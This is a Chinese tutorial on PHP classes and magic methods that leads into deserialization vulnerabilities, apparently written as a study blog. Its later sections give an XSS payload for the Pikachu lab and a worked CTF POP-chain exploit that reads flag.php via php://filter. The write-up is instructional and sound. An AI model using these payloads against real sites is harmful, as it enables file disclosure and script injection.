php反序列化
反序列化unserialize和序列化serialize是一对互逆的操作
对象经过序列化成为字符串
满足条件的字符串经过反序列化成为对象
需要了解一下php面向对象
php面向对象基础
类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php class Site { var $domain; var $title; function setDomain($par){ $this->domain = $par; } function getDomain(){ return $this->domain; } function setTitle($par){ $this->title = $par; } function getTitle(){ return $this->title; } } $mySite=new Site; $mySite->setTitle("the empire"); $mySite->setDomain("www.dustball.top"); echo $mySite->getDomain(); echo "<br>"; echo $mySite->getTitle(); ?>
|
构造函数&析构函数
在使用new关键字实例化对象的时候,会自动调用构造函数,如果不显式声明则默认有一个啥也不干的缺省构造函数
当对象生命期结束时,系统自动执行其析构函数.如果不显式声明则默认有一个啥也不干的缺省析构函数
1 2
| void __construct ([ mixed $args [, $... ]] ) void __destruct ( void )
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php class Site { var $domain; var $title;
function setDomain($par) { $this->domain = $par; }
function getDomain() { return $this->domain; }
function setTitle($par) { $this->title = $par; }
function getTitle() { return $this->title; } function __construct($par1 = 0, $par2 = 0) { $this->domain = $par1; $this->title = $par2; print $this->title . " rise\n"; } function __destruct() { print $this->title . " fall\n"; } } $mySite = new Site("deutschball.github.io", "the republic"); ?>
|
运行结果
1 2
| the republic rise the republic fall
|
引用
php中,函数传参时,对象类型默认为引用传递
比如实现一个链表类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| <?php class LinkedNode{ private $value; private $next; public function __construct($v=0,$n=NULL){ $this->value=$v; $this->next=$n; } public function setValue($v=0){ $this->value=$v; } public function getValue(){ return $this->value; } public function setNext($n=NULL){ $this->next=$n; } public function getNext(){ return $this->next; }
} class LinkedList{ private $head; public function __construct(){ $this->head=new LinkedNode(0,NULL); } public function isEmpty(){ if($this->head->getNext()==NULL)return true; else return false; } public function insertHead($v){ $node=new LinkedNode($v,$this->head->getNext()); $this->head->setNext($node); } public function getHead(){ if($this->isEmpty())return NULL; return $this->head->getNext()->getValue(); } public function deleteHead(){ if($this->isEmpty())return false; else{ $this->head->setNext($this->head->getNext()->getNext()); return true; } } public function __invoke(){ $p=$this->head; while($p->getNext()!=NULL){ $p=$p->getNext(); print $p->getValue()." "; } } } $linkedlist=new LinkedList; for($i=1;$i<=10;++$i){ $linkedlist->insertHead($i); }
$linkedlist(); while(!$linkedlist->isEmpty()){ print "\n"; $linkedlist->deleteHead(); $linkedlist(); } ?>
|
继承
继承关键字extends,php不支持多继承
1 2 3
| class Child extends Parent { }
|
子类构造函数不会主动调用父类的构造函数,可以使用parent::__construct()
显式调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| <?php class Site { var $domain; var $title;
function setDomain($par) { $this->domain = $par; }
function getDomain() { return $this->domain; }
function setTitle($par) { $this->title = $par; }
function getTitle() { return $this->title; } function __construct($par1 = 0, $par2 = 0) { $this->domain = $par1; $this->title = $par2; print $this->title . " rise\n"; } function __destruct() { print $this->title . " fall\n"; } } $mySite = new Site("deutschball.github.io", "the republic"); class Child_Site extends Site{ var $icon_domain; function __construct($par1 = 0, $par2 = 0,$par3 =0) { parent::__construct($par1,$par2); $this->icon_domain=$par3; } function __destruct() { parent::__destruct(); } function setIconDomain($idomain){ $this->icon_domain=idomain; } function getIconDomain(){ return $this->icon_domain; } } $ChildInstance=new Child_Site("dustball.top","the empire","https://raw.githubusercontent.com/DeutschBall/test/master/emp.png"); ?>
|
魔术方法
PHP预留的以双下划线开头的类成员函数,它们是
__construct()
、 __destruct()
、 __call()
、 __callStatic()
、 __get()
、 __set()
、 __isset()
、 __unset()
、 __sleep()
、 __wakeup()
、 __serialize()
、 __unserialize()
、 __toString()
、 __invoke()
、 __set_state()
、 __clone()
、 __debugInfo()
__construct&&__destruct
只有在使用new关键字创建新对象的时候,__construct
构造函数才会被自动调用
clone
拷贝或者unserialize
反序列化都不会调用__construc
__destruct
由系统自动调用,发生在对象生命期结束时
__toString()
__toString()
方法用于一个类被当成字符串时应怎样回应。例如 echo $obj;
应该显示些什么。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php class Site { var $domain; var $title;
function __construct($par1 = 0, $par2 = 0) { $this->domain = $par1; $this->title = $par2; }
function __toString() { return "[".$this->title."=>".$this->domain."]"; } } $mySite = new Site("deutschball.github.io", "the republic"); print $mySite."\n"; ?>
|
运行结果
1
| [the republic=>deutschball.github.io]
|
__invoke()
1
| __invoke( ...$values): mixed
|
当尝试以调用函数的方式调用一个对象时,__invoke()
方法会被自动调用。
相当于C++中的仿函数运算符operator ()
比如对于Site类的对象,直接当成函数调用的时候,访问域名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php class Site { var $domain; var $title;
function __construct($par1 = 0, $par2 = 0) { $this->domain = $par1; $this->title = $par2; }
function __invoke() { header("Location:https://$this->domain"); } } $mySite = new Site("dustball.top", "the republic"); $mySite();
|
用浏览器访问本php文件,之后会跳转dustball.top
__serialize()&&__unserialize()
自定义序列化键值对数组(没有卵用)的函数
serialize()
函数会检查类中是否存在一个魔术方法 __serialize()
。
如果存在,该方法将在任何序列化之前优先执行。
它必须以一个代表对象序列化形式的 键/值 成对的关联数组形式来返回,
如果没有返回数组,将会抛出一个 TypeError
错误。
__serialize()
的预期用途是定义对象序列化友好的任意表示。
数组的元素可能对应对象的属性,但是这并不是必须的。
相反, unserialize()
检查是否存在具有名为 __unserialize()
的魔术方法。
此函数将会传递从 __serialize()
返回的恢复数组。然后它可以根据需要从该数组中恢复对象的属性。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <?php class Site { var $domain; var $title;
function __construct($d = 0, $t = 0) { $this->domain = $d; $this->title = $t; } function __serialize():array { print "__serialize acitved \n"; return [ 'd' => $this->domain, 't' => $this->title, ]; } function __unserialize(array $data) { print "__unserialize actived \n"; $this->domain = $data['d']; $this->title = $data['t']; } function __invoke()//方便打印观察,重载invoke函数 { return "[".$this->title.",".$this->domain."]"; }
} $mySite = new Site("dustball.top", "the republic");
$seri=serialize($mySite); print $seri."\n";
$Site2=unserialize($seri);
print $Site2(); ?>
|
运行结果:
1 2 3 4
| __serialize acitved O:4:"Site":2:{s:1:"d";s:12:"dustball.top";s:1:"t";s:12:"the republic";} __unserialize actived [the republic,dustball.top]
|
序列化得到的字符串含义
1 2 3 4
| 对象:类名长度4:类名"Site":两个成员:{ 字符串类型:长度6:键"domain";字符串类型:字符串类型:长度12:值"dustball.top"; 字符串类型:长度5:键"title";字符串类型:字符串类型:长度12:值"the republic"; }
|
__serialize和__unserialize
会影响键,这里键就只有一个字符,分别是"s","t"
O:4:"Site":2:{s:1:"d";s:12:"dustball.top";s:1:"t";s:12:"the republic";}
如果不显式__serialize
,则键默认就是成员变量名,"domain","title"
__sleep()&&__wakeup()
如果已经显式__serialize
则__sleep
写了白写
如果已经显式__unserialize
则__wakeup
写了白写
serialize()
函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则
null
被序列化,并产生一个
E_NOTICE
级别的错误。
__sleep()&&__wakeup()
调用时机和__serialize&&__unserialize
差不多,但是优先级不如后者,后者存在时不会调用前者
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php class Site { var $domain; var $title;
function __construct($d = 0, $t = 0) { $this->domain = $d; $this->title = $t; }
function __sleep() { print "__sleep acitved \n"; return ['domain','title']; } function __wakeup() { print "__wakeup actived \n"; }
function __invoke() //方便打印观察,重载invoke函数 { return "[" . $this->title . "," . $this->domain . "]"; } } $mySite = new Site("dustball.top", "the republic");
$seri = serialize($mySite); print $seri . "\n";
$Site2 = unserialize($seri);
print $Site2();
|
运行结果
1 2 3 4
| __sleep acitved O:4:"Site":2:{s:6:"domain";s:12:"dustball.top";s:5:"title";s:12:"the republic";} __wakeup actived [the republic,dustball.top]
|
serialize
函数会根据__sleep
指定参与序列化的成员,进行序列化,这里指定了domain和title都参与实例化,也可以只指定domain参与,也可以都不参与,那么运行结果
1 2 3 4 5 6 7 8 9 10 11 12
| ... function __sleep() { print "__sleep acitved \n"; return []; } ... __sleep acitved O:4:"Site":0:{} __wakeup actived [,]
|
__clone
作用是
实现深拷贝,在调用clone
时默认调用__clone
函数
__set&&__get&&&__isset&&__unset
1 2 3 4 5 6 7
| public __set(string $name, [mixed]
public __get(string $name): [mixed]
public __isset(string $name): bool
public __unset(string $name): void
|
在给不可访问(protected 或 private)或不存在的属性赋值时,__set()
会被调用。
读取不可访问(protected 或 private)或不存在的属性的值时,__get()
会被调用。
当对不可访问(protected 或 private)或不存在的属性调用 isset() 或
empty()
时,__isset()
会被调用。
当对不可访问(protected 或 private)或不存在的属性调用 unset()
时,__unset()
会被调用。
反序列化漏洞
魔术方法的调用时机:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| <?php
class test {
public $varr1 = "abc"; public $varr2 = "123"; public function echoP(){ echo $this->varr1 . "\n"; } public function __construct(){ echo "__construct\n"; } public function __destruct(){ echo "__destruct\n"; }
public function __toString(){ return "__toString\n"; }
public function __sleep(){ echo "__sleep\n"; return array('varr1', 'varr2'); }
public function __wakeup(){ echo "__wakeup\n"; } }
$obj = new test();
$obj->echoP();
echo $obj;
$s = serialize($obj);
echo unserialize($s);
|
运行结果
1 2 3 4 5 6 7 8
| __construct abc __toString __sleep __wakeup __toString __destruct __destruct
|
最简单的例子
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php
class A { public $only = "demo"; function __destruct() { echo $this->only; } }
$a = $_GET['test']; $a_unser = unserialize($a);
|
尝试构造负载,将$only="demo"
覆盖掉
类名为"A",只有一个字符
类有一个成员变量,没有显式__serialize
指定键名,因此序列化字符串中的键就是变量名$only
,显然这个键名长度为4字符,
值就根据需要修改了
因此可以构造出序列化字符串:
1
| test=O:1:"A":1:{s:4:"only";s:6:"empire";}
|
pikachu靶场-php反序列化漏洞
靶场没有给任何提示,也没有给源代码,目前我猜不出这个类有几个成员,都叫啥,有没有显式__serialize
等等,还是看看后端的代码吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php class S{ var $test = "pikachu"; function __construct(){ echo $this->test; } }
$html=''; if(isset($_POST['o'])){ $s = $_POST['o']; if(!@$unser = unserialize($s)){ $html.="<p>大兄弟,来点劲爆点儿的!</p>"; }else{ $html.="<p>{$unser->test}</p>"; } } ?> ... <?php echo $html;?>
|
显然根据刚才最简单的例子,可以构造一个序列化字符串覆盖掉$test="pikachu"
1
| O:1:"S":1:{s:4:"test";s:6:"empire";}
|
既然如此,6:"empire"
这里只需要按照负载字符串长度:"负载字符串"
这种格式随便改.如果改成XSS攻击语句,往前端一打印不就实现XSS攻击了吗
1
| O:1:"S":1:{s:4:"test";s:26:"<script>alert(0);</script>";}
|
反序列化成员对象
前面的例子和靶场中,反序列化构造的成员变量都是字符串类型,
能否用反序列化充实一个成员对象呢?
显然可以
以链表类为例子,
链表节点LinkedNode
有两个成员,一个是本节点的value值,另一个是下一个节点的引用next
链表类LinkedList
有一个成员,即附加头节点成员对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php class LinkedNode{ private $value; private $next; public function __construct($v=0,$n=NULL){ $this->value=$v; $this->next=$n; } public function setNext($n=NULL){ $this->next=$n; } public function getNext(){ return $this->next; } } class LinkedList{ private $head; public function __construct(){ $this->head=new LinkedNode(0,NULL); } public function insertHead($v){ $node=new LinkedNode($v,$this->head->getNext()); $this->head->setNext($node); } } $linkedlist=new LinkedList; $linkedlist->insertHead(1); $linkedlist->insertHead("empire"); print serialize($linkedlist); ?>
|
实例化一个链表对象linkedlist,插入两个节点,然后对其序列化得到
1 2
| O:10:"LinkedList":1:{s:16:"LinkedListhead"; O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";i:0;s:16:"LinkedNodenext";O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";s:6:"empire";s:16:"LinkedNodenext";O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";i:1;s:16:"LinkedNodenext";N;}}}}
|
这一长串太不直观,换行缩进一下得到
1 2 3 4 5 6 7
| O:10:"LinkedList":1:{s:16:"LinkedListhead"; O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";i:0;s:16:"LinkedNodenext"; O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";s:6:"empire";s:16:"LinkedNodenext"; O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";i:1;s:16:"LinkedNodenext";N;} } } }
|
最外层是LinkedList实例
从第二层开始都是LinkedNode实例,其结构为
1 2 3 4
| O:10:"LinkedNode":2:{ s:17:"LinkedNodevalue";<类型>:<值>;s:16:"LinkedNodenext": 下一个LinkedNode实例; }
|
考虑如图所示结构,应怎么用序列化表示呢?
1 2 3 4
| graph LR subgraph linkedlist head-->A-->510-->C-->empire-->10-->NULL end
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| O:10:"LinkedList":1:{s:16:"LinkedListhead"; O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";i:0;s:16:"LinkedNodenext"; O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";s:1:"A";s:16:"LinkedNodenext"; O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";i:510;s:16:"LinkedNodenext"; O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";s:1:"C";s:16:"LinkedNodenext"; O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";s:6:"empire";s:16:"LinkedNodenext"; O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";i:10;s:16:"LinkedNodenext";N;} } } } } } }
|
POP链
多次利用反序列化漏洞,可能要反序列化得到多个对象,最终找到可利用点
类似于pwn中的面向返回编程
上来就给源码,显然是highlight_file(__FILE__);
的功劳
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| Welcome to index.php <?php
class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } }
class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; }
public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } }
class Test{ public $p; public function __construct(){ $this->p = array(); }
public function __get($key){ $function = $this->p; return $function(); } }
if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
|
整个调用链是怎样的呢?
从Show类入口,观察其__wakeup
函数,貌似做了一个黑名单过滤,不允许__$this->source
有黑名单中的字样
1 2 3 4 5 6
| public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } }
|
但是,$this->source
一定是一个字符串吗?如果是一个实现了__toString
魔术函数的对象也可以啊.
这三个类只有Show实现了__toString
,因此$source
应该是一个Show
类的对象
现在皮球从Show::__wakeup
踢到了Show::__toString
脚下
Show类的__toString
干了啥呢?
1 2 3
| public function __toString(){ return $this->str->source; }
|
str如果是一个字符串,对他应用成员运算符->
必然出错,
但是如果str不是字符串,是一个对象呢?
是谁的对象呢?从str->source
,直觉上还是Show的对象,但是这样转起来没完了,一直在Show里面没有进展
那么str应该是谁的对象呢?
考虑到Test::__get
这个函数,当调用Test
类中不存在的成员时,__get
函数会被调用
而Test
不含这个叫做source
的成员,因此皮球可以踢给Test::__get
Test
类的__get
干了啥呢?
1 2 3 4 5
| public $p; public function __get($key){ $function = $this->p; return $function(); }
|
用一个$function
变量拷贝了本对象的p成员,然后作为函数调用
那么本类的p
成员要么是一个函数,要么是一个实现了__invoke
的仿函数类,显然Modifier
类实现了__invoke
函数
皮球踢到了Modifier::__invoke
脚下,它干了啥呢?
1 2 3 4 5 6 7
| protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); }
|
__invoke
调用了append($this->var)
,将$var
文件包含进来
控制流分析完毕,下面考虑如何构造序列化字符串
1 2 3 4 5 6 7 8
| Show对象,用于骗过Show::__wakeup source:Show对象,用于执行Show::__toString source:随便 str:Test对象,用于执行__get p:Modifier对象,用于执行__invoke var:"flag.php"//此处有问题,直接写flag.php得不到flag str:随便
|
因此生成payload的php程序如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php
class Modifier { protected $var='php://filter/read=convert.base64-encode/resource=flag.php'; } class Show{ public $source; public $str;
} class Test{ public $p; } $a=new Show; $a->source=new Show; $a->source->str=new Test; $a->source->str->p=new Modifier; print serialize($a);
?>
|
运行结果
1
| O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:" * var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}
|
urlencode之后用get方法传进去得到base64加密密文
1
| PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFne2UzY2IyY2U2LTZlNzItNDVjNy1iY2FlLWRlMTk4YmM2ZjkzYX0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+
|
解密之后得到
1 2 3 4 5 6
| <?php class Flag{ private $flag= "flag{e3cb2ce6-6e72-45c7-bcae-de198bc6f93a}"; } echo "Help Me Find FLAG!"; ?>
|
坑1
我一开始傻了吧唧的真用手去构造这个序列化字符串
1 2 3 4 5 6 7 8 9 10 11
| O:4:"Show":2:{s:10:"Showsource"; O:4:"Show":2:{s:10:"Showsource":i:0; O:4:"Test":1:{s:5:"Tests"; O:8:"Modifier":1{s:11:"Modifiervar";s:8:"flag.php"} } } s:7:"Showstr";i:0;}
O:4:"Show":2:{s:10:"Showsource";O:4:"Show":2:{s:10:"Showsource":i:0;O:4:"Test":1:{s:5:"Tests";O:8:"Modifier":1{s:11:"Modifiervar";s:8:"flag.php"}}} s:7:"Showstr";i:0;}
|
结果全错了,键名都不对,只有private修饰的键名才会前面附上类名,啥意思呢?
1 2 3 4 5 6 7 8 9
| <?php class Test { private $v1="private"; protected $v2="protected"; var $v3="default"; public $v4="public"; } $a=new Test; print serialize($a);
|
结果
1
| O:4:"Test":4:{s:8:"Testv1";s:7:"private";s:5:" * v2";s:9:"protected";s:2:"v3";s:7:"default";s:2:"v4";s:6:"public";}
|
修饰符 |
原键名 |
序列化后键名 |
备注 |
private |
v1 |
Testv1 |
附上类名作为前缀 |
protected |
v2 |
* v2 |
附上* 前缀(注意星号左右各有一个空格) |
缺省 |
v3 |
v3 |
不变 |
public |
v4 |
v4 |
不变 |
坑2
vscode调试控制台向外粘贴出错
vscode调试控制台输出的运行结果是这样的
对于 *
v2这种protected变量序列化后的键名,从调试控制台复制出去之后,星号两侧的空格消失
位置 |
表现 |
调试控制台中的输出 |
O:4:"Test":4:{s:8:"Testv1";s:7:"private";s:5:" *
v2";s:9:"protected";s:2:"v3";s:7:"default";s:2:"v4";s:6:"public";} |
粘贴出去的输出 |
O:4:"Test":4:{s:8:"Testv1";s:7:"private";s:5:"*v2";s:9:"protected";s:2:"v3";s:7:"default";s:2:"v4";s:6:"public";} |
解决方法是,直接让php输入urlencode之后的负载,这样所有的空格都会被转移,并且不用再去hackbar中urlencode了
echo urlencode(serialize($a));